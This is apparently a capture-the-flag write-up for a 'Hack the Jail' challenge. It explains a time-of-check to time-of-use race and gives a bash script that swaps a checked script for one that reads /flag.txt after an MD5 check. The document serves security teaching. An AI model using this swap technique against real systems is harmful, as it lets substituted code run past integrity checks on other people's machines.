# Hack the Jail - Part 2 ## Difficulty Hard. ## How To solve The key insight of this challenge is that the file is opened twice: once for checking whether the MD5sum matches the expected value, and the second time for actually executing the file. This type of vulnerabity is called a "Time-of-check to time-of-use" or in short a TOCTTOU attack. The challenge contains an artificially long timeout to be able to exploit this vulnerabity more easily. The script below performs the actual attack: ```bash #!/bin/bash # run the vulnerable program in the backgrouncd ./execute & # make sure that the check has been performed sleep 1 # then replace the program with our malicious program mv hello_world.sh hello_world.sh.old cp read.sh hello_world.sh # wait until the "execute" program has finished. sleep 8 # clean up rm hello_world.sh mv hello_world.sh.old hello_world.sh ``` The contents of the `read.sh` file are as follows: ``` #!/bin/bash cat /flag.txt ``` Both files need to have executable permissions which can be obtained using `chmod +x *.sh`.